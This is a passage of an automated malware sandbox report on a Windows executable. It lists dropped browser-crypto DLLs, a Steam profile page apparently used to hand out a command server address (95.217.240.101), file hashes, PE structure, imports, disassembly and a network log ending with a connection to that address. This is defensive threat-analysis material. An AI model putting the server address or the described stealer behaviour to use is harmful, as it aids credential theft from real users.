SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: HaxexQ5EjD.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 40UAEu1Kpt.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WcBJX1H1hg.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199686524322[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3041), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35643
Entropy (8bit):	5.382912586977827
Encrypted:	false
SSDEEP:	768:s7pqLtWYmwt5D0gqVUiNGAZPzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2SC:s78LtWYmwt5D0gqVUcZPzzgiJmDzJtxW
MD5:	7BCE059CFD60B798CB45C3F4C80B9F6C
SHA1:	736FAB76D920E9A5E4BAB9E12E8C85C9D4B22A06
SHA-256:	317AB49AEA660F5D325951C5EF280A54F6192D3B31A15B0F985EA292ED159980
SHA-512:	B0875CD2B58367D1165D373600CE208B63C4E435A62C237729BB66645A43FC5A6DF16CC646553F97700FA5A7E4C3A5EEE4C7591D7A29E8F87662B815E8A56756
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r8p- https://95.217.240.101\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.529756734354945
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	382'976 bytes
MD5:	b580ff2d001291bf58bdd23a058ef21b
SHA1:	5013dc6e38bd9d1cbe2f7fc0d983b6812f3f2351
SHA256:	80994b791b545ba6a8c906e046ab6ae79c5875a4f42da07085113b4b6f22f8ca
SHA512:	85643ff028ffa0d7c6e7b3dd69c9316aed5e6c15c364bfdb14ec65ca9859ee8fb2ae04e3990c2275671da27abb727a9505f2acf5453a4bb1a3f4df0664df603b
SSDEEP:	6144:3hp+scz0+j/2LXudxnOqC3dFxYkBY8EdltIPaiTeUkHjUP6PiLNwETfeuBMbxFr9:3SscQu/CLtF3BY87PFi7HJAwETfhMlF5
TLSH:	6684E051B4C1C032D433153A49F4DBB85E7EB9600AA69A9FBB940F7F4F312C1D621A6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3UT.w4:.w4:.w4:..F9.{4:..F?..4:..F>.b4:...>.e4:...9.b4:..F;.~4:.w4;..4:...?.!4:...3.v4:...8.v4:.Richw4:.................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4072d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6644F62C [Wed May 15 17:51:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	81b834f6f9db0b945bd836f537996a1f

Entrypoint Preview

Instruction
call 00007F13E0BBF083h
jmp 00007F13E0BBE759h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F13E0BBE8FBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F13E0BBE8ECh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F13E0BBE8EEh
add edx, 28h
cmp edx, esi
jne 00007F13E0BBE8CCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F13E0BBE8DBh
push esi
call 00007F13E0BBF35Dh
test eax, eax
je 00007F13E0BBE902h
mov eax, dword ptr fs:[00000018h]
mov esi, 0045DB4Ch
mov edx, dword ptr [eax+04h]
jmp 00007F13E0BBE8E6h
cmp edx, eax
je 00007F13E0BBE8F2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F13E0BBE8D2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F13E0BBE8E9h
mov byte ptr [0045DB50h], 00000001h
call 00007F13E0BBEBA7h
call 00007F13E0BC18F0h
test al, al
jne 00007F13E0BBE8E6h
xor al, al
pop ebp
ret
call 00007F13E0BC92C9h
test al, al
jne 00007F13E0BBE8ECh
push 00000000h
call 00007F13E0BC18F7h
pop ecx
jmp 00007F13E0BBE8CBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0045DB51h], 00000000h
je 00007F13E0BBE8E6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x291c8	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f000	0x1d14	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x27280	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x271c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20000	0x174	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1e2ab	0x1e400	6aaddd29a7b1d14c04fafe4373874165	False	0.5765996255165289	data	6.591179392915493	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x20000	0x9a58	0x9c00	c0d3af8d875e80d0742331423512f2ce	False	0.3869941907051282	data	4.658571126756863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2a000	0x34654	0x33600	2cb86b6c8671c22ce21f5d03dfb1e373	False	0.9822270377128953	data	7.9818411522888875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x5f000	0x1d14	0x1e00	45d81991a944a5e251cf5f207dbbc2a5	False	0.7373697916666667	data	6.468270351939864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
GDI32.dll	GetClipBox
USER32.dll	PostQuitMessage
ADVAPI32.dll	CryptDecrypt
KERNEL32.dll	HeapSize, CreateFileW, VirtualAlloc, WaitForSingleObject, GetModuleHandleA, FreeConsole, CreateThread, GetProcAddress, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, GetCurrentThreadId, CloseHandle, WaitForSingleObjectEx, GetExitCodeThread, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, ReleaseSRWLockExclusive, WakeAllConditionVariable, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetModuleHandleW, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetProcessHeap, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, WriteConsoleW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 15, 2024 20:35:50.127605915 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.127636909 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:50.127707005 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.134161949 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.134172916 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:50.364038944 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:50.364135981 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.455997944 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.456013918 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:50.456284046 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:50.456331968 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.461704016 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:50.508116961 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.061505079 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.061527967 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.061563015 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.061635971 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.061645985 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.061687946 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.168766975 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.168817997 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.168853998 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.168865919 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.168914080 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.192764997 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.192811966 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.192836046 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.192854881 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.192898989 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.208177090 CEST	49730	443	192.168.2.4	23.194.234.100
May 15, 2024 20:35:51.208195925 CEST	443	49730	23.194.234.100	192.168.2.4
May 15, 2024 20:35:51.225543976 CEST	49731	443	192.168.2.4	95.217.240.101
